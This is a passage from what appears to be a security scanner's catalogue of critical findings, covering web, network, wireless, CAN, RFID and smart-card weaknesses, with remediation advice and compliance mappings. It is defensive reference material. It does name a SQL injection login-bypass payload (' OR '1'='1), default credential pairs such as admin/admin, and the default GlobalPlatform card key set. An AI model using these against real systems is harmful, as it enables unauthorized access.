Remediation: Block access to 169.254.169.254 and all cloud metadata endpoints at the network level. Use IMDSv2 on AWS (which requires session tokens). Implement SSRF mitigation with URL allowlisting.
OWASP Web: A10:2025
CRITICAL FR-104 — Broken Authentication — Default Credentials
Description: The application or an integrated component (CMS, framework, admin panel) uses default or well-known credentials (admin/admin, admin/password, etc.) that have not been changed.
Remediation: Change all default credentials immediately. Implement a policy requiring strong, unique credentials for all accounts. Enforce password complexity requirements.
OWASP Web: A07:2025
CRITICAL FR-105 — Authentication Bypass via SQL Injection
Description: The login form is vulnerable to SQL injection, allowing authentication bypass without valid credentials. Payloads such as ' OR '1'='1 successfully authenticate as arbitrary users.
Remediation: Use parameterized queries for all authentication-related SQL. Implement input validation on login forms. Review all authentication logic for injection vulnerabilities.
OWASP Web: A07:2025
CRITICAL FR-106 — Authentication Bypass via Response Manipulation
Description: Authentication can be bypassed by manipulating server responses (e.g., changing 'false' to 'true' in JSON responses, modifying HTTP status codes). The application relies on client-supplied success/failure signals instead of server-side session management.
Remediation: Implement server-side session management. Never rely on client-side responses to make authentication decisions. Validate authentication state server-side on every request.
OWASP Web: A07:2025
CRITICAL FR-109 — Sensitive File Exposed — /etc/passwd
Description: The /etc/passwd file is accessible via path traversal or misconfiguration. This file contains system user account information and can aid privilege escalation and targeted attacks.
Remediation: Fix the path traversal or misconfiguration that exposes this file. Restrict filesystem permissions and ensure the web server process cannot read sensitive system files.
OWASP Web: A01:2025
CRITICAL FR-110 — Information Disclosure: .env File
Description: The .env environment configuration file is publicly accessible. This file typically contains database credentials, API keys, secret keys, and other application secrets.
Remediation: Immediately move .env files outside the web root. Block access to .env files via web server configuration. Rotate all exposed credentials.
OWASP Web: A05:2025
CRITICAL FR-111 — Sensitive File Exposed — Private Key
Description: A private cryptographic key file (.pem, .key, .p12, .pfx) was found accessible on the web server. Exposure of private keys compromises the entire PKI trust chain and enables impersonation.
Remediation: Remove all private key files from the web root immediately. Revoke and reissue the associated certificates. Store private keys outside the web root with strict filesystem permissions.
OWASP Web: A02:2025
CRITICAL FR-131 — Vertical Privilege Escalation
Description: Vertical privilege escalation was detected. A lower-privileged user can access administrative functionality or higher-privileged resources by directly accessing restricted endpoints or modifying role/permission parameters.
Remediation: Implement role-based access control (RBAC) enforced server-side. Never rely on client-supplied role or privilege parameters. Centralize authorization logic and apply it to every request.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
CRITICAL FR-141 — Insecure Deserialization
Description: Insecure deserialization was detected. The application deserializes user-supplied data (via pickle, Java ObjectInputStream, PHP unserialize, YAML.load, etc.) without integrity verification. This can lead to remote code execution, authentication bypass, or denial of service.
Remediation: Do not deserialize data from untrusted sources. Sign serialized objects with an HMAC and verify the signature before deserialization. Use safe serialization formats (JSON) instead of language-native object serialization.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2025
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL FR-142 — Java Deserialization via Gadget Chains
Description: Java object deserialization was identified with known gadget chain exploitability. Exploitation of known gadget chains (Commons Collections, Spring, etc.) via ysoserial payloads can result in remote code execution.
Remediation: Upgrade all Java serialization libraries to patched versions. Implement a serialization filter (JEP 290). Use Contrast Security or similar RASP to detect deserialization attacks at runtime.
OWASP Web: A08:2025
CRITICAL FR-143 — PHP Object Injection via unserialize()
Description: PHP's unserialize() function is called on user-controlled input. If the application's autoloaded classes contain exploitable magic methods (__wakeup, __destruct, __toString), this can lead to arbitrary code execution via POP chains.
Remediation: Never call unserialize() on user-supplied input. Replace with JSON or other data formats. If unavoidable, use allowed_classes parameter to restrict which classes can be instantiated.
OWASP Web: A08:2025
CRITICAL FR-144 — Unrestricted File Upload — Executable File
Description: The file upload functionality allows uploading of executable files (PHP, JSP, ASP, Python, etc.) without restriction. An attacker can upload a web shell and execute arbitrary commands on the server.
Remediation: Implement a strict file extension whitelist for uploads. Validate file content using magic bytes, not just extension. Store uploaded files outside the web root. Rename all uploaded files to remove their original extension.
OWASP Web: A04:2025
CRITICAL FR-148 — Mass Assignment — Privilege Escalation via Role Field
Description: Mass assignment was exploited to modify a privileged field such as 'isAdmin', 'role', or 'permission_level' by including it in a user-controlled request body. This allows privilege escalation to administrator or higher-privileged roles.
Remediation: Block mass assignment of privilege-related fields. Explicitly whitelist only user-modifiable fields. Validate and enforce role changes through dedicated privileged endpoints.
OWASP Web: A04:2025
CRITICAL FR-172 — Insecure Password Storage (Cleartext or Weak Hash)
Description: Evidence suggests passwords are stored in cleartext, as reversible encryption, or using a weak unsalted hash algorithm (MD5, SHA-1). Password compromise leads to immediate credential exposure.
Remediation: Store passwords using a modern adaptive hashing algorithm (bcrypt, Argon2id, or scrypt) with an appropriate cost factor. Never store passwords in cleartext or using reversible encryption.
OWASP Web: A02:2025
CRITICAL FR-177 — HTTP Request Smuggling
Description: HTTP request smuggling was detected due to inconsistent interpretation of Content-Length and Transfer-Encoding headers between the front-end proxy and back-end server. This can enable cache poisoning, request hijacking, or security control bypass.
Remediation: Ensure consistent HTTP parsing between all front-end and back-end components. Normalize ambiguous Transfer-Encoding headers at the edge. Upgrade to HTTP/2 where possible.
OWASP Web: A05:2025
CRITICAL FR-184 — Access Matrix — User A Can Modify User B Data
Description: Authenticated user A can modify or delete data owned by user B by manipulating object identifiers in API requests. Object-level authorization is not enforced for write operations.
Remediation: Validate object ownership on every write and delete operation. Require explicit ownership or permission grants before allowing modifications to another user's data.
OWASP Web: A01:2025
CRITICAL FR-185 — Access Matrix — Admin Functionality Accessible by Regular User
Description: Administrative functions (user management, system configuration, data export) are accessible to regular authenticated users without elevated privileges. The access control matrix has gaps in administrative endpoint protection.
Remediation: Implement strict role-based access control with a separate administrative role. Enforce role checks at the API handler level for all administrative operations.
OWASP Web: A01:2025
CRITICAL FR-190 — GraphQL SQL Injection via Argument
Description: SQL injection was detected via GraphQL query arguments. Unsanitized argument values are passed to underlying database queries without parameterization.
Remediation: Use parameterized queries or ORM methods in all GraphQL resolvers. Sanitize and validate all argument values. Apply input type constraints at the GraphQL schema level.
OWASP Web: A03:2025
CRITICAL FR-222 — Sensitive Path Accessible
Description: A sensitive path was found accessible that should require authentication or should not be publicly reachable. Accessing this path may expose administrative functionality, configuration, or credentials.
Remediation: Apply authentication and authorisation controls to all sensitive paths. Implement a default-deny access policy.
Effort: Low
OWASP Web: A01:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
CRITICAL FR-240 — WordPress wp-config.php Source Code Exposed
Description: The WordPress configuration file (wp-config.php) or a backup of it is accessible and returns source code. This file contains database credentials, authentication keys, and salts.
Remediation: Move wp-config.php one directory above the web root. Block access to backup files matching wp-config patterns via .htaccess or server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025
MITRE ATT&CK: T1552.001 (Credential Access), T1190 (Initial Access)
NIST 800-53: CM-6, AC-3, IA-5
PCI DSS 4: 6.5.1, 8.3.2
CRITICAL FR-246 — WordPress Configuration Backup Exposed
Description: A WordPress configuration backup file was found accessible. Configuration backups may expose database credentials, salts, and authentication keys.
Remediation: Remove configuration backup files from web-accessible directories. Ensure backup files are stored securely outside the web root.
OWASP Web: A02:2025
CRITICAL FR-261 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Description: The server is vulnerable to Heartbleed (CVE-2014-0160). Attackers can read up to 64 KB of server memory per request, exposing private keys, session tokens, and credentials without authentication.
Remediation: Update OpenSSL to 1.0.1g+ or 1.0.2+. Revoke and reissue all certificates. Invalidate all active session tokens.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL FR-273 — SQL Injection (Error-Based)
Description: Error-based SQL injection was detected. Database error messages containing SQL syntax are returned in response to crafted input, confirming the application is vulnerable to SQL injection and disclosing database version/structure information.
Remediation: Use parameterised queries or prepared statements. Never construct SQL queries from user input. Suppress detailed database error messages in production.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-274 — SQL Injection Confirmed by sqlmap
Description: sqlmap confirmed SQL injection on the target parameter. SQL injection allows attackers to read, modify, or delete database contents and may enable operating system command execution.
Remediation: Use parameterised queries or prepared statements. Apply input validation. Restrict database account permissions to the minimum required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-275 — Second-Order SQL Injection
Description: A second-order (stored) SQL injection vector was identified. User-supplied input stored in the database is later included in SQL queries without sanitisation when retrieved and processed.
Remediation: Apply parameterised queries at all database interaction points, not just at the input entry point. Sanitise data on retrieval as well as input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-276 — OS Command Injection
Description: OS command injection was detected. User-supplied input is passed to an operating system shell without sanitisation, allowing arbitrary command execution on the server.
Remediation: Never pass user input to shell functions. Use language-native APIs instead of shell commands. If shell commands are required, use allowlisted inputs only with strict sanitisation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL FR-277 — Remote Code Execution via Code Injection
Description: Server-side code injection leading to remote code execution was detected. User-supplied input is evaluated as server-side code (PHP, Python, Ruby, etc.), allowing arbitrary code execution.
Remediation: Never evaluate user-supplied input as code. Use a template engine that auto-escapes by default. Sanitise and validate all user input.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution), T1499 (Impact)
NIST 800-53: SI-10, AC-3, CM-7
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL FR-279 — Stored Cross-Site Scripting (XSS)
Description: Stored XSS was detected. User-supplied input is persisted and later rendered in the browser without encoding, allowing an attacker to execute JavaScript in the context of any user who views the affected page.
Remediation: Apply context-sensitive output encoding at render time. Implement Content-Security-Policy. Validate and sanitise all input before storage.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
CRITICAL FR-288 — Server-Side Request Forgery (SSRF)
Description: Server-Side Request Forgery (SSRF) was detected. User-supplied URLs or hostnames are used by the server to make outbound requests without validation, allowing attackers to probe internal services, bypass firewall rules, and access cloud metadata endpoints.
Remediation: Validate and allowlist all server-side request targets. Block requests to private IP ranges and cloud metadata endpoints. Use a dedicated outbound request proxy with allowlisting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
CRITICAL FR-290 — Insecure Deserialization — Serialized Object Accepted
Description: A serialised object was accepted by the application without signature verification. Insecure deserialisation can lead to remote code execution, privilege escalation, or denial of service depending on the deserialisable gadget chains available.
Remediation: Avoid deserialising objects from untrusted sources. If required, sign serialised data and verify signatures before deserialisation. Use safer serialisation formats (JSON) where possible.
OWASP Web: A08:2025
CRITICAL FR-291 — Insecure Deserialization — YAML Tag Injection
Description: A YAML tag injection payload was accepted by the application. YAML parsers that support arbitrary Python object instantiation via !! tags (e.g., PyYAML) can be exploited for remote code execution.
Remediation: Use safe YAML loaders (yaml.safe_load in Python). Disable arbitrary Python object instantiation in the YAML parser.
OWASP Web: A08:2025
CRITICAL FR-296 — Weak or Default Credentials Accepted
Description: Weak, default, or commonly-used credentials were successfully authenticated. Default or weak credentials allow attackers to gain privileged access without effort.
Remediation: Change all default credentials immediately. Enforce a strong password policy. Implement MFA. Conduct periodic credential audits.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
CRITICAL FR-300 — JWT None Algorithm Authentication Bypass
Description: The JWT library accepts tokens with the 'none' algorithm, meaning the signature field is empty and no verification is performed. Attackers can forge arbitrary JWT payloads to impersonate any user including administrators.
Remediation: Explicitly allowlist accepted JWT algorithms. Reject tokens with 'none' algorithm. Use a well-maintained JWT library with secure defaults.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL FR-301 — JWT Vulnerability: 'none' Algorithm Accepted
Description: The application accepted a JWT token with the 'none' algorithm specified in the header, bypassing signature verification. This allows forging of arbitrary JWT claims.
Remediation: Reject all tokens with 'none' algorithm. Explicitly specify and enforce the expected signature algorithm server-side.
OWASP Web: A02:2025
CRITICAL FR-302 — JWT Vulnerability Confirmed by jwt_tool
Description: jwt_tool confirmed a JWT vulnerability that allows token forgery or authentication bypass. JWT vulnerabilities enable impersonation of arbitrary users including administrators.
Remediation: Implement strict JWT validation: verify the signature algorithm, reject 'none' algorithm, validate all claims (exp, aud, iss). Rotate signing keys.
OWASP Web: A02:2025
CRITICAL FR-434 — Server-Side Include (SSI) Injection
Description: The application processes SSI directives embedded in user input, allowing execution of server-side commands.
Impact: An attacker can execute arbitrary OS commands on the server, read sensitive files, or include remote content.
Remediation: Disable SSI processing or sanitize all user input to remove SSI directive syntax.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-446 — MFA Bypass — Direct Navigation
Description: Protected pages are accessible by direct URL navigation after initial authentication, bypassing the MFA verification step.
Impact: An attacker who compromises a password can access the account without completing the second authentication factor.
Remediation: Enforce MFA completion as a server-side session state check on every protected endpoint, not just the login flow.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1556 (Credential Access)
NIST 800-53: IA-2
PCI DSS 4: 8.4.2
CRITICAL FR-468 — Information Disclosure: Cloud Credentials in File
Description: Cloud or CI/CD credential file(s) are accessible via the web, containing API keys, access tokens, database passwords, and service account credentials. Covers AWS credentials, Docker config, Kubernetes config, NPM config, Git credentials, and PostgreSQL password files. CWE-540, CWE-200.
Impact: Attackers gain direct access to cloud infrastructure, container registries, Kubernetes clusters, or package repositories using the disclosed credentials. This enables data exfiltration, resource hijacking, supply chain attacks, and full infrastructure compromise.
Remediation: Immediately rotate all credentials found in exposed files. Remove credential files from the web-accessible directory. Add dot-files and credential paths to the web server deny list. Use IAM roles and managed identities instead of static credential files. Never store credential files in the document root.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SC-28, IA-5
PCI DSS 4: 2.2.1
CRITICAL FR-469 — Terraform State File Exposed
Description: Terraform state file is accessible via the web, containing infrastructure secrets, API keys, database passwords, and complete cloud resource inventory.
Impact: Full infrastructure credential compromise — database passwords, API keys, cloud resource details enabling lateral movement and data exfiltration.
Remediation: Store Terraform state in a secure remote backend (S3+DynamoDB, Terraform Cloud). Never serve state files via a web server.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SC-28
PCI DSS 4: 2.2.1
CRITICAL FR-500 — Server-Side Template Injection (SSTI) — SSTImap Confirmed
Description: SSTImap confirmed that the target application is vulnerable to Server-Side Template Injection (SSTI). User-supplied input is rendered directly within a server-side template engine without proper sanitization, allowing an attacker to inject template directives that execute arbitrary code on the server.
Impact: A confirmed SSTI vulnerability allows full remote code execution (RCE) on the server. An attacker can read/write arbitrary files, exfiltrate database credentials, pivot to internal networks, and fully compromise the application server. SSTI is one of the highest-impact web vulnerabilities because template engines run with the full privileges of the application process.
Remediation: Use sandboxed template engines that restrict template directives to safe operations. Never pass user input directly into template rendering functions. Use template engines' built-in auto-escaping features. If dynamic templates are required, use a strict allowlist of permitted template operations and sanitize all input before rendering.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL FR-502 — OS Command Injection — commix Confirmed
Description: commix confirmed that the target application is vulnerable to OS command injection. User-supplied input is incorporated into operating system commands without proper sanitization, allowing an attacker to execute arbitrary system commands on the underlying server with the privileges of the web application process.
Impact: Confirmed OS command injection allows full remote code execution. An attacker can read/write files, dump databases, install backdoors, establish reverse shells, pivot to internal networks, and fully compromise the server. This is a maximum-severity vulnerability that provides complete control over the affected system.
Remediation: Use parameterized OS commands or language-native APIs instead of shell execution. Never concatenate user input into shell commands. Apply strict input validation with allowlists for expected parameter values. Use subprocess calls with argument arrays instead of shell=True. Implement the principle of least privilege for the web application process.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL FR-511 — JWT Algorithm None Accepted
Description: A JWT token uses algorithm 'none', meaning the token has no signature verification. Any attacker can forge arbitrary tokens with any claims.
Impact: Complete authentication bypass. An attacker can craft JWTs with arbitrary claims (admin roles, any user identity) without needing the signing key, gaining unrestricted access to all application functionality.
Remediation: Enforce a strong signing algorithm (RS256, ES256) server-side. Reject tokens with alg=none. Use an allowlist of accepted algorithms.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, SC-13
PCI DSS 4: 6.2.4, 8.3.1
CRITICAL GB-BT-019 — Unauthenticated GATT Characteristic Write
Description: A GATT write to a device characteristic succeeded over an unpaired, unencrypted link (ATT Write Response with no security error).
Impact: Unauthenticated write access permits configuration change, actuation, factory reset, or firmware/OTA abuse with no credential — the highest-impact GATT finding, and safety-critical on a medical device.
Remediation: Require an authenticated, encrypted, bonded link (LESC + MITM) for all writes; add application-layer authorization (signed / challenge-response commands) to control points and OTA.
Effort: Moderate
OWASP API: API5:2023 Broken Function Level Authorization
NIST 800-53: AC-3, SI-10, SC-8
CRITICAL GB-CAN-003 — CAN Replay Attack
Description: A previously captured CAN frame was successfully replayed and accepted as a legitimate message by one or more nodes on the bus. CAN provides no built-in authentication or sequence numbering, meaning any captured frame can be retransmitted at will to reproduce an action — such as unlocking a door, disabling a safety system, or triggering an actuator — without knowledge of the originating system. This class of attack is particularly dangerous in automotive and industrial control environments where CAN commands directly affect physical state.
Remediation: Implement SecOC (Secure Onboard Communication, ISO 21434 / AUTOSAR) for safety-critical CAN signals to add freshness counters and message authentication codes. Apply a CAN firewall or gateway to rate-limit and filter frames by ID and frequency. Physically restrict access to OBD-II ports and CAN bus connectors. Log and alert on unexpected frame repetition patterns.
CRITICAL GB-CRED-001 — NTLM Hash Captured via Responder
Description: Responder successfully captured an NTLMv1 or NTLMv2 challenge-response hash in response to a poisoned LLMNR/NBT-NS reply. The captured hash can be subjected to offline dictionary or brute-force cracking or used directly in NTLM relay attacks.
Remediation: Disable LLMNR and NBT-NS as described in GB-DISC-005/006. Enforce SMB signing. Implement network segmentation. Use strong, unique passwords resistant to offline cracking.
CRITICAL GB-CRED-002 — Cleartext Credentials in Traffic Capture
Description: Cleartext credentials (username/password) were observed in captured network traffic. The device transmitted authentication information over an unencrypted protocol (e.g., HTTP Basic Auth, FTP, Telnet, SNMP v1/v2c).
Remediation: Replace all cleartext authentication protocols with encrypted equivalents. Use TLS for web, SSH for remote management, SNMPv3 for SNMP.
CRITICAL GB-CRED-003 — Weak or Default Credentials Accepted
Description: The target accepted well-known default or factory-set credentials, granting unauthorised access.
Remediation: Replace all default credentials with strong, unique secrets and enforce a password policy prior to any deployment.
CRITICAL GB-CRED-004 — Cleartext Credentials Captured
Description: A username and password pair was observed in plaintext within captured network traffic. The credentials were transmitted over an unencrypted protocol such as HTTP Basic Authentication, FTP, Telnet, SMTP AUTH (without STARTTLS), or SNMP v1/v2c, and are fully recoverable without any cryptographic attack. Captured credentials may be valid for the target service, other systems on the network, VPN access, or cloud console login if the user has reused them.
Remediation: Immediately replace the protocol in use with an encrypted equivalent: HTTPS for web services, SSH for remote administration, SFTP/FTPS for file transfer, SMTPS or SMTP with enforced STARTTLS for mail. Rotate the captured credentials and investigate whether they are reused across other systems. Conduct a broader credential reuse assessment across the environment.
CRITICAL GB-LORA-006 — LoRaWAN Default or Weak AppKey
Description: The device's LoRaWAN root AppKey (OTAA) or session keys (ABP) are default, all-zero, sequential, vendor-shared, or derivable from the public DevEUI — i.e. a hard-coded or guessable credential.
Impact: Recovering the AppKey lets an attacker derive the session keys, decrypt every FRMPayload, forge a valid MIC, and fully impersonate the device — collapsing the entire LoRaWAN security model for that node and any others sharing the key.
Remediation: Provision a unique, random, secret AppKey per device at manufacture; never print, log, share, or derive it from public identifiers; store it in a secure element and rotate immediately on suspected compromise.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 3.6.1, 8.3.1
CRITICAL GB-RFID-003 — RFID Replay Attack Successful
Description: A captured RFID credential was successfully replayed to the reader and accepted. No anti-replay protection is in place.
Remediation: Replace credential infrastructure with challenge-response or rolling code systems. Audit physical access logs for anomalous events.
CRITICAL GB-SC-007 — Default GlobalPlatform Card Manager Keys
Description: The card's GlobalPlatform Issuer Security Domain authenticated an SCP secure channel using the default test key set (40..4F / 404142434445464748494A4B4C4D4E4F).
Impact: An attacker with the card can open the same authenticated channel to install, delete, or replace applets and read/rotate keys — a full compromise of the card manager and everything the card protects.
Remediation: Rotate the ISD keys (ENC/MAC/KEK) to unique, per-card random values before deployment via GlobalPlatform PUT KEY; never ship cards on the 40..4F default key set.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: IA-5, SC-12, CM-6
PCI DSS 4: 2.2.1, 8.3.1
CRITICAL GB-SERIAL-003 — Serial Port Allows Remote Access
Description: A serial console interface is accessible to an unauthenticated party via an exposed physical connector, a network-bridged serial server, or a serial-over-LAN (SOL) interface that is reachable from the assessment network. Remote serial access without authentication provides a root-level interactive session or bootloader prompt equivalent to physical presence at the device, bypassing all operating system access controls, disk encryption unlock prompts, and network-layer security.
Remediation: Password-protect the serial console in device firmware and configure an inactivity timeout. Disable network bridging of serial interfaces unless strictly required; if required, protect access with authenticated VPN and firewall rules. In production firmware builds, disable UART console output and bootloader access entirely or require a hardware-present jumper to unlock.
CRITICAL GB-SMB-002 — SMB Share Accessible Without Authentication
Description: One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files and potentially enumerate domain information.
Remediation: Require authentication on all SMB shares, disable null-session and guest access, and enforce least-privilege ACLs on every share.
CRITICAL GB-SMB-003 — SMB Share Accessible Without Authentication
Description: One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files and potentially enumerate domain information.
Remediation: Require authentication on all SMB shares, disable null-session and guest access, and enforce least-privilege ACLs on every share.
CRITICAL GB-VULN-001 — Nessus Critical Vulnerability
Description: Nessus Professional identified a critical severity vulnerability (CVSS ≥ 9.0). This typically represents unauthenticated remote code execution, authentication bypass with full system impact, or a well-known exploit with active weaponisation.
Remediation: Apply vendor patch immediately. If no patch is available, implement network isolation and document as an accepted risk with a defined remediation timeline.
CRITICAL GB-VULN-011 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Description: The target is running a version of OpenSSL affected by CVE-2014-0160 (Heartbleed). The TLS heartbeat extension implementation in OpenSSL 1.0.1 through 1.0.1f fails to validate the length field in the heartbeat request, allowing an unauthenticated remote attacker to read up to 64 kilobytes of server memory per request without leaving a trace in standard access logs. Repeated requests allow an attacker to recover private TLS keys, session tokens, passwords, and other secrets from server memory over time.
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 / 1.1.0+ for current branches). After patching, rotate all TLS private keys and certificates, revoke the old certificates, invalidate all active sessions, and reset any passwords that may have been in server memory during the exposure window. Verify remediation by re-running the Heartbleed check.
CRITICAL GB-WEB-001 — Web — Default Credentials Accepted
Description: The web management interface accepted default manufacturer credentials. An attacker can gain full administrative access without any reconnaissance.
Remediation: Enforce mandatory credential change on first boot or provisioning. Implement account lockout after failed attempts.
CRITICAL GB-WIFI-003 — WEP Encryption in Use
Description: The access point uses WEP, a cryptographically broken cipher whose RC4/IV key can be recovered from captured traffic using statistical (PTW), chopchop, or fragmentation attacks.
Impact: An attacker can recover the WEP key in minutes from ordinary captured traffic, then decrypt all traffic and join the network — a total loss of confidentiality, integrity, and access control.
Remediation: Immediately replace WEP with WPA3-SAE (or WPA2-CCMP with a strong passphrase) and 802.11w PMF; WEP has no secure configuration and must be decommissioned.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-13, SC-8, AC-18
PCI DSS 4: 4.2.1, 2.2.7
CRITICAL IS-001 — Known malicious file hash ({classification})
Description: A file's cryptographic hash (MD5, SHA1, or SHA256) matches a known threat indicator in the pr0t31n threat intelligence database, indicating the file is associated with malware, exploits, or other malicious activity.
Impact: A confirmed malicious file on the system indicates active compromise or staging for an attack. The attacker may have already achieved code execution, data exfiltration, or persistence. Business impact includes potential data breach, regulatory violations, and incident response costs.
Remediation: Quarantine this file immediately. Investigate its origin and any systems it has touched. Perform a full malware scan on the host. Review access logs to determine how the file arrived and whether it was executed. Rotate any credentials that may have been exposed.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1204 (Execution), T1059 (Execution)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1, 5.3.1
CRITICAL OSIFT-012 — Plaintext Credential Found in Breach Database
Description: A plaintext or reversibly hashed password was found in a breach database (Dehashed) for a target-domain email address. Direct account compromise may be possible.
Impact: Plaintext credentials from data breaches provide direct access if the user has reused passwords across services. This represents an immediate, exploitable risk requiring urgent password reset and multi-factor authentication enforcement.
Remediation: Immediately force a password reset for the affected account. Check for reuse across other systems (VPN, cloud consoles, O365). Enable MFA on all accounts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CRITICAL OSIFT-013 — Information Disclosure: Github Secret / API Key
Description: GitDorker or TruffleHog identified a secret, API key, token, or private key in a public GitHub repository associated with the target organisation or its employees.
